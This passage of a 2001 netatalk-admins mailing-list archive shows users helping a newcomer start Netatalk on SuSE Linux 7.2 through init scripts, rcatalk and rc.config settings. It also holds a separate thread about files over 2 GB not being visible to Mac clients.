> I quickly got the Ethernet setup and was browsing the web with the
> easy SuSE
> configuration.  The next step was 1.4 & 1.5 Netatalk.  Compile,
> install,
> etc.  I screwed things up and had to re-install Linux in its entirety
> a
> couple of times.
> 
> Okay then it was  1.5pre6-1mdk.1586.rpm.  It certainly was a lot
> easier in
> the rpm format.  The installed files seemed to end up where they
> should
> according to the package's default locations.  But "atalk start"
> commands
> still end-up with "Command not found".
> 
> I'm just looking for the simplest Appletalk setup to start with.
> What am I
> missing?
> 
> I¹ve ³read the manual² but most of the documentation is over-whelming
> with
> options for a newbie.  Then there are the differences between docs in
> instructions and file locations that don¹t help.
> 
> Before installing Netatalk and re-installing Linux I swear that that
> "dmesg
> | grep Apple" showed "Appletalk 0.18a for Linux NET4.0".  Now there's
> nothing and that¹s another element that is confusing.
> 
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
> Comment: m00
> 
> iQA/AwUBO3ba+C6XaAWWzd7UEQJfhgCbBms5R4DLEzDbUgvb000LYyaGIooAn37E
> ry7saj481/JTo78FHOC5awfs
> =QtSy
> -----END PGP SIGNATURE-----
> 
> 


From netatalk.administrators-errors@umich.edu  Sun Aug 12 20:21:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA21409
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 12 Aug 2001 20:21:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id UAA14177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 12 Aug 2001 20:20:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id UAA14166
	for netatalk.administrators-members@umich.edu; Sun, 12 Aug 2001 20:20:50 -0400 (EDT)
Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id UAA14149
	for <netatalk-admins@umich.edu>; Sun, 12 Aug 2001 20:20:49 -0400 (EDT)
Received: from storage (1Cust115.tnt1.lancaster.pa.da.uu.net [63.17.97.115])
	by albatross.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id RAA23824;
	Sun, 12 Aug 2001 17:20:59 -0700 (PDT)
From: "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
To: "D. L. Fuller" <dlfuller@voicenet.com>,
        "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
Cc: <netatalk-admins@umich.edu>
Subject: RE: Netatalk on SuSE Linux 7.2 going nowhere
Date: Sun, 12 Aug 2001 20:25:10 -0400
Message-ID: <HJECKHPOHDPHPABMJFFDMENJCFAA.ed_schwartz@iu13.k12.pa.us>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <B79C72EF.1D20%dlfuller@voicenet.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hmm, this seems like a SuSE oddity.  I don't use it.. Just on a
hunch, open up /etc/rc.d/init.d/atalk in an editor, look for a line
with /etc/rc.d/init.d/functions, and replace it with
/etc/rc.d/init.d/rc.functions

Other than that, try running atalkd manually.  I'm not sure if that
will start up your papd and atd or not, so you will want to make sure
they are running, and if not, run them too.

- -------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
- -------------------------------------------------------------

- -----Original Message-----
From: D. L. Fuller [mailto:dlfuller@voicenet.com]
Sent: Sunday, August 12, 2001 5:53 PM
To: Ed Schwartz
Cc: netatalk-admins@umich.edu
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere


Ed Schwartz--

Thanks for the suggestion.

The command /etc/rc.d/init.d/atalk start returns...

/etc/rc.d/init.d/functions: No such files or directory

But there is a 3.7KB file at that location.

- --Don


on 8/12/01 3:37 PM, Ed Schwartz at ed_schwartz@iu13.k12.pa.us wrote:

>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> /etc/rc.d/init.d/atalk start
>
> is probably what you are looking for.
>
> As for the Appletalk support, it may be in a module, so hopefully
> it will auto-load when needed.  If not, you will need to compile it
> in.
>
> Anyway, try the command and report back any errors.
>
> - -------------------------------------------------------------
> |   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
> |     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
> | "We Trills have an expression--at forty, you think you    |
> | know everything.  At four hundred, you realize you know   |
> |         nothing." - Dax, Star Trek Deep Space 9           |
> - -------------------------------------------------------------
>
> - -----Original Message-----
> From: D. L. Fuller [mailto:dlfuller@voicenet.com]
> Sent: Sunday, August 12, 2001 2:56 PM
> To: netatalk-admins@umich.edu
> Subject: Netatalk on SuSE Linux 7.2 going nowhere
>
>
> I'm a newbie using SuSE Linux 7.2.  All I want is to use Netatalk
> to exchange files with my Mac.  Maybe more later, but keep
> Appletalk
> simple for
> now.
>
> I quickly got the Ethernet setup and was browsing the web with the
> easy SuSE
> configuration.  The next step was 1.4 & 1.5 Netatalk.  Compile,
> install,
> etc.  I screwed things up and had to re-install Linux in its
> entirety a
> couple of times.
>
> Okay then it was  1.5pre6-1mdk.1586.rpm.  It certainly was a lot
> easier in
> the rpm format.  The installed files seemed to end up where they
> should
> according to the package's default locations.  But "atalk start"
> commands
> still end-up with "Command not found".
>
> I'm just looking for the simplest Appletalk setup to start with.
> What am I
> missing?
>
> I¹ve ³read the manual² but most of the documentation is
> over-whelming with
> options for a newbie.  Then there are the differences between docs
> in instructions and file locations that don¹t help.
>
> Before installing Netatalk and re-installing Linux I swear that
> that "dmesg
> | grep Apple" showed "Appletalk 0.18a for Linux NET4.0".  Now
> | there's
> nothing and that¹s another element that is confusing.
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGPfreeware 7.0.3 for non-commercial use
> <http://www.pgp.com> Comment: m00
>
> iQA/AwUBO3ba+C6XaAWWzd7UEQJfhgCbBms5R4DLEzDbUgvb000LYyaGIooAn37E
> ry7saj481/JTo78FHOC5awfs
> =QtSy
> -----END PGP SIGNATURE-----
>
>

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
Comment: m00

iQA/AwUBO3ceYy6XaAWWzd7UEQICvQCgt6FepHnJgOHtYtSQ/Hxt1IrQ0TsAnA1T
f8ixQzHP5dYH6yiQqnESxVCH
=y14Z
-----END PGP SIGNATURE-----


From netatalk.administrators-errors@umich.edu  Mon Aug 13 03:14:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA04988
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 03:14:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA14310
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 03:14:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA14304
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 03:14:11 -0400 (EDT)
Received: from yoda.saffral.co.za ([216.5.0.221])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA14191
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 03:14:03 -0400 (EDT)
Received: from firefishy (ws67.internal.saffral.co.za [192.168.0.67])
	by yoda.saffral.co.za (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with SMTP id f7D7NST24761
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 09:23:30 +0200
Message-ID: <004201c123c9$045dcf60$4300a8c0@firefishy>
From: "Grant Slater" <gslater@saffral.co.za>
To: <netatalk-admins@umich.edu>
References: <B79C72EF.1D20%dlfuller@voicenet.com>
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
Date: Mon, 13 Aug 2001 09:24:39 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2479.0006
Disposition-Notification-To: "Grant Slater" <gslater@saffral.co.za>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006
X-Virus-Scanned: by AMaViS-perl11-milter (http://amavis.org/)

Fuller,

Netatalk does come with SuSE 7.2 Prof (eg. the green box) but does not come
with Personal (Blue box)

The mdk rpm is designed for Mandrake NOT SuSE!

Thanks
    Grant Slater



From netatalk.administrators-errors@umich.edu  Mon Aug 13 03:28:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA05587
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 03:28:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA29174
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 03:28:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA29164
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 03:28:28 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA29109
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 03:28:25 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id JAA15366;
	Mon, 13 Aug 2001 09:31:56 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 13 Aug 2001 09:31:18 +0200
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "D. L. Fuller" <dlfuller@voicenet.com>, <netatalk-admins@umich.edu>
Message-ID: <B79D4EE5.FBFA%Thomas.Kaiser@phg-online.de>
In-Reply-To: <004201c123c9$045dcf60$4300a8c0@firefishy>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 13 Aug 2001 09:24:39 +0200, Grant Slater wrote:

> Netatalk does come with SuSE 7.2 Prof (eg. the green box) but does not come
> with Personal (Blue box)
> 
> The mdk rpm is designed for Mandrake NOT SuSE!

Maybe he wants tro try

    <ftp://ftp.suse.com/pub/suse/i386/7.2/suse/n2/netatalk.rpm>

Downloading and installing with "rpm -Uhv netatalk.rpm" or with Yast.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Aug 13 03:46:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA06071
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 03:46:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA16590
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 03:46:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA16580
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 03:46:10 -0400 (EDT)
Received: from wolnet.de (dialup.wolnet.de [195.127.221.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id DAA16555
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 03:46:08 -0400 (EDT)
Received: from [194.162.66.187] (HELO [192.168.100.46]) by wolnet.de (Stalker SMTP Server 1.8b9d3) with ESMTP id S.0000581381; Mon, 13 Aug 2001 09:46:05 +0200
Mime-Version: 1.0
X-Sender: Timo.Schoeler@mail2.wolnet.de (Unverified)
Message-Id: <p05100300b79d338afa40@[192.168.100.46]>
In-Reply-To: <HJECKHPOHDPHPABMJFFDIENFCFAA.ed_schwartz@iu13.k12.pa.us>
References: <HJECKHPOHDPHPABMJFFDIENFCFAA.ed_schwartz@iu13.k12.pa.us>
Date: Mon, 13 Aug 2001 09:46:19 +0200
To: "Ed Schwartz" <ed_schwartz@iu13.k12.pa.us>
From: Timo Schoeler <timo.schoeler@wolnet.de>
Subject: RE: Netatalk on SuSE Linux 7.2 going nowhere
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

<snip>
>
>
>/etc/rc.d/init.d/atalk start
>
>is probably what you are looking for.
>
>As for the Appletalk support, it may be in a module, so hopefully it
>will auto-load when needed.  If not, you will need to compile it in.
>
>Anyway, try the command and report back any errors.
<snap>

hello,

when you're using the SuSE Linux 7.2, there are other options to 
start netatalk (as there were in the several other releases of SuSE 
before 7.2); you have to type

rcatalk start (or rcat[tab] start) if it is not already running;

rcatalk status should give you a triple 'OK' for the services running and

rcatalk stop -- now, guess what... ;-)

to keep netatalk start permanently (i.e. every time you boot your 
box) you have to edit /etc/rc.config and search for an entry like

START_ATALKD (don't remember it exactly, but it should look like this),

which has to be set to '= yes'.

you can do this by using vi (my favourite), any other editor or using 
'yast' ('editing the main config file').

-- 
greetz, timo

"cpu time/usefulness ratio too high -- core dumped."

From netatalk.administrators-errors@umich.edu  Mon Aug 13 07:25:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA12320
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 07:25:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA11673
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 07:25:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA11668
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 07:25:24 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA11640
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 07:25:22 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA17125;
	Mon, 13 Aug 2001 13:29:09 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 13 Aug 2001 13:28:31 +0200
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Timo Schoeler <timo.schoeler@wolnet.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B79D867E.FC38%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p05100300b79d338afa40@[192.168.100.46]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 13.08.2001 9:46 Uhr schrieb Timo Schoeler:

> when you're using the SuSE Linux 7.2, there are other options to
> start netatalk (as there were in the several other releases of SuSE
> before 7.2); 

?

Please do a 'which rcatalk' and afterwards a 'ls -l /usr/sbin/rcatalk'
/usr/sbin/rcatalk -> ../../sbin/init.d/atalk

Perhaps you will imagine that /usr/sbin/rcatalk is just a symlink to the
startscript inside the init directories (in former SuSE versions
/sbin/init.d/atalk, nowadays /etc/init.d/atalk)

To look, what will be installed, take a look at:

'rpm -q -l -p ftp://ftp.suse.com/pub/suse/i386/7.2/suse/n2/netatalk.rpm'

> to keep netatalk start permanently (i.e. every time you boot your
> box) you have to edit /etc/rc.config and search for an entry like
> 
> START_ATALKD (don't remember it exactly, but it should look like this),
> 
> which has to be set to '= yes'.

_These_ changes in /etc/rc.config have absolutely no effect unless you run
'/sbin/SuSEconfig', which interprets this file and does all the 'magic'
behind the scenes (like symlinking from the correct runlevels -- eg.
/etc/rc.d/rc3.d/Sxxatalk or /etc/rc.d/rc3.d/Kxxatalk -- to the startscript
in etc/init.d/atalk)

Try reading 'man init' and 'man inittab' for more information.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Aug 13 10:48:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA20941
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 10:48:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA00553
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 10:48:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA00535
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 10:48:13 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA00514
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 10:48:12 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id QAA00713;
	Mon, 13 Aug 2001 16:48:25 +0200
Date: Mon, 13 Aug 2001 16:48:25 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Frank Joerdens <frank@joerdens.de>
Cc: netatalk-admins@umich.edu
Subject: afp_enumerate: stat test.tar: Value too large for defined data type [Was: Filesize limit]
Message-ID: <20010813164825.A653@rakete.joerdens.de>
References: <20010812200017.A30112@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <20010812200017.A30112@rakete.joerdens.de>; from frank@joerdens.de on Sun, Aug 12, 2001 at 08:00:17PM +0200
X-Subliminal-Message: Use Linux! Use Linux!

I just tried with the latest version (1.5pre6) and freshly compiled that
against glibc 2.1.3. If I open a volume from the Mac which contains a
file bigger than 2 GB, the log file on the server says:

afp_enumerate: stat test.tar: Value too large for defined data type

(test.tar is a 3.4 GB file)

Does that make sense to anyone? Is there a fix?

Cheers Frank

From netatalk.administrators-errors@umich.edu  Mon Aug 13 10:58:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA21202
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 10:58:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id KAA12685
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 10:58:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA12658
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 10:58:31 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA12621
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 10:58:30 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 0959F44219; Mon, 13 Aug 2001 09:58:30 -0500 (CDT)
Date: Mon, 13 Aug 2001 09:58:29 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
Message-ID: <20010813095829.C2466@newwww.teleologic.net>
References: <p05100300b79d338afa40@[192.168.100.46]> <B79D867E.FC38%Thomas.Kaiser@phg-online.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <B79D867E.FC38%Thomas.Kaiser@phg-online.de>; from Thomas.Kaiser@phg-online.de on Mon, Aug 13, 2001 at 01:28:31PM +0200
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Thomas wrote regarding 'Re: Netatalk on SuSE Linux 7.2 going nowhere' on Mon, Aug 13 at 06:34:
> am 13.08.2001 9:46 Uhr schrieb Timo Schoeler:
[...]
> > to keep netatalk start permanently (i.e. every time you boot your
> > box) you have to edit /etc/rc.config and search for an entry like
> > 
> > START_ATALKD (don't remember it exactly, but it should look like this),
> > 
> > which has to be set to '= yes'.
> 
> _These_ changes in /etc/rc.config have absolutely no effect unless you run
> '/sbin/SuSEconfig', which interprets this file and does all the 'magic'
> behind the scenes (like symlinking from the correct runlevels -- eg.
> /etc/rc.d/rc3.d/Sxxatalk or /etc/rc.d/rc3.d/Kxxatalk -- to the startscript
> in etc/init.d/atalk)

While it's good practice to run SuSEconfig each time you change /etc/rc.config,
in the cases where you change a "start_xxx" to yes or no, you don't have to
run it.  All of the init scripts provided by SuSE are started on boot, at
which time they directly source /etc/rc.config and decide whether they should
keep running or exit based on their corresponding "start" variable in that
file (or if they were started directly in versions after 6.0).  The symlinks
for the init scripts are all created at install time.

--Danny

From netatalk.administrators-errors@umich.edu  Mon Aug 13 11:16:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA22095
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 11:16:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA02703
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 11:15:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA02691
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 11:15:50 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA02656
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 11:15:49 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id RAA00822;
	Mon, 13 Aug 2001 17:15:44 +0200
Date: Mon, 13 Aug 2001 17:15:44 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Frank Joerdens <frank@joerdens.de>
Cc: netatalk-admins@umich.edu
Subject: Re: afp_enumerate: stat test.tar: Value too large for defined data type [Was: Filesize limit]
Message-ID: <20010813171544.A805@rakete.joerdens.de>
References: <20010812200017.A30112@rakete.joerdens.de> <20010813164825.A653@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <20010813164825.A653@rakete.joerdens.de>; from frank@joerdens.de on Mon, Aug 13, 2001 at 04:48:25PM +0200
X-Subliminal-Message: Use Linux! Use Linux!

On Mon, Aug 13, 2001 at 04:48:25PM +0200, Frank Joerdens wrote:
> I just tried with the latest version (1.5pre6) and freshly compiled that
> against glibc 2.1.3. If I open a volume from the Mac which contains a
> file bigger than 2 GB, the log file on the server says:
> 
> afp_enumerate: stat test.tar: Value too large for defined data type

I forgot to mention: From the Mac the file is not even visible, although
the space it occupies gets noticed, i.e. the Mac reports the 70 GB
volume as occupied by something which is 3.4 GB in size (i.e. 66 GB as
free) but which does not show up in the Finder.

/Frank

From netatalk.administrators-errors@umich.edu  Mon Aug 13 11:49:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24296
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 11:49:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id LAA24335
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 11:49:42 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA24322
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 11:49:41 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA24289
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 11:49:40 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA18352;
	Mon, 13 Aug 2001 17:52:59 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 13 Aug 2001 17:52:22 +0200
Subject: Re: Netatalk on SuSE Linux 7.2 going nowhere
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Danny Sauer <dsauer@teleologic.net>, <netatalk-admins@umich.edu>
Message-ID: <B79DC455.FC7D%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20010813095829.C2466@newwww.teleologic.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 13 Aug 2001 09:58:29 -0500, Danny Sauer wrote:

[SuSE's /etc/rc.config and start behaviour of processes]
> The symlinks for the init scripts are all created at install time.

Thanks a lot for the correction.

regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Aug 13 15:10:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA03811
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 13 Aug 2001 15:10:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id PAA12786
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 13 Aug 2001 15:10:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA12778
	for netatalk.administrators-members@umich.edu; Mon, 13 Aug 2001 15:10:36 -0400 (EDT)
Received: from rakete.joerdens.de ([62.104.116.221])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA12727
	for <netatalk-admins@umich.edu>; Mon, 13 Aug 2001 15:10:34 -0400 (EDT)
Received: (from frank@localhost)
	by rakete.joerdens.de (8.9.3/8.9.3) id VAA02000;
	Mon, 13 Aug 2001 21:10:33 +0200
Date: Mon, 13 Aug 2001 21:10:33 +0200
From: Frank Joerdens <frank@joerdens.de>
To: Frank Joerdens <frank@joerdens.de>
Cc: netatalk-admins@umich.edu
Subject: LFS support and Netatalk [Was: Filesize limit etc.]
Message-ID: <20010813211033.A1972@rakete.joerdens.de>
References: <20010812200017.A30112@rakete.joerdens.de> <20010813164825.A653@rakete.joerdens.de> <20010813171544.A805@rakete.joerdens.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
User-Agent: Mutt/1.1.2i
In-Reply-To: <20010813171544.A805@rakete.joerdens.de>; from frank@joerdens.de on Mon, Aug 13, 2001 at 05:15:44PM +0200
X-Subliminal-Message: Use Linux! Use Linux!

On Mon, Aug 13, 2001 at 05:15:44PM +0200, Frank Joerdens wrote:
> On Mon, Aug 13, 2001 at 04:48:25PM +0200, Frank Joerdens wrote:
> > I just tried with the latest version (1.5pre6) and freshly compiled that
> > against glibc 2.1.3. If I open a volume from the Mac which contains a
> > file bigger than 2 GB, the log file on the server says:
> > 
> > afp_enumerate: stat test.tar: Value too large for defined data type
> 
> I forgot to mention: From the Mac the file is not even visible, although
